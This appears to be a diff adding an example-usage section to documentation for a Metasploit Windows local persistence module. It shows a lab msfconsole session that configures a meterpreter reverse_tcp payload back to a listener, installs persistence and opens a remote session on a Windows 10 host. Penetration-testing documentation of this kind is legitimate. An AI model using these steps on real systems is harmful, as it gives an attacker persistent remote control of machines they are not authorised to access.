|
| 1 | + |
| 2 | +## Example Usage |
| 3 | + |
| 4 | +``` |
| 5 | +msf exploit(handler) > use exploit/windows/local/ps_persist |
| 6 | +msf exploit(ps_persist) > set session -1 |
| 7 | +session => -1 |
| 8 | +msf exploit(ps_persist) > set payload windows/meterpreter/reverse_tcp |
| 9 | +payload => windows/meterpreter/reverse_tcp |
| 10 | +msf exploit(ps_persist) > set lhost 192.168.56.1 |
| 11 | +lhost => 192.168.56.1 |
| 12 | +msf exploit(ps_persist) > set lport 4445 |
| 13 | +lport => 4445 |
| 14 | +msf exploit(ps_persist) > show options |
| 15 | +
|
| 16 | +Module options (exploit/windows/local/ps_persist): |
| 17 | +
|
| 18 | + Name Current Setting Required Description |
| 19 | + ---- --------------- -------- ----------- |
| 20 | + OUTPUT_TARGET no Name and path of the generated executable, default random, omit extension |
| 21 | + SESSION -1 yes The session to run this module on. |
| 22 | + START_APP true no Run EXE/Install Service |
| 23 | + SVC_DNAME MsfDynSvc no Display Name to use for the Windows Service |
| 24 | + SVC_GEN false no Build a Windows service, which defaults to running as localsystem |
| 25 | + SVC_NAME MsfDynSvc no Name to use for the Windows Service |
| 26 | +
|
| 27 | +
|
| 28 | +Payload options (windows/meterpreter/reverse_tcp): |
| 29 | +
|
| 30 | + Name Current Setting Required Description |
| 31 | + ---- --------------- -------- ----------- |
| 32 | + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) |
| 33 | + LHOST yes The listen address |
| 34 | + LPORT 4445 yes The listen port |
| 35 | +
|
| 36 | +
|
| 37 | +Exploit target: |
| 38 | +
|
| 39 | + Id Name |
| 40 | + -- ---- |
| 41 | + 0 Universal |
| 42 | +
|
| 43 | +
|
| 44 | +msf exploit(ps_persist) > run |
| 45 | +
|
| 46 | +[*] Started reverse TCP handler on 192.168.56.1:4445 |
| 47 | +[+] - Bytes remaining: 9664 |
| 48 | +[+] - Bytes remaining: 1664 |
| 49 | +[+] Payload successfully staged. |
| 50 | +[*] Sending stage (957999 bytes) to 192.168.56.101 |
| 51 | +[+] Finished! |
| 52 | +[*] Meterpreter session 2 opened (192.168.56.1:4445 -> 192.168.56.101:49974) at 2016-10-08 18:42:36 -0500 |
| 53 | +
|
| 54 | +meterpreter > sysinfo |
| 55 | +Computer : DESKTOP-B8ALP1P |
| 56 | +OS : Windows 10 (Build 14393). |
| 57 | +Architecture : x64 (Current Process is WOW64) |
| 58 | +System Language : en_US |
| 59 | +Domain : WORKGROUP |
| 60 | +Logged On Users : 2 |
| 61 | +Meterpreter : x86/win32 |
| 62 | +``` |
| 63 | + |
0 commit comments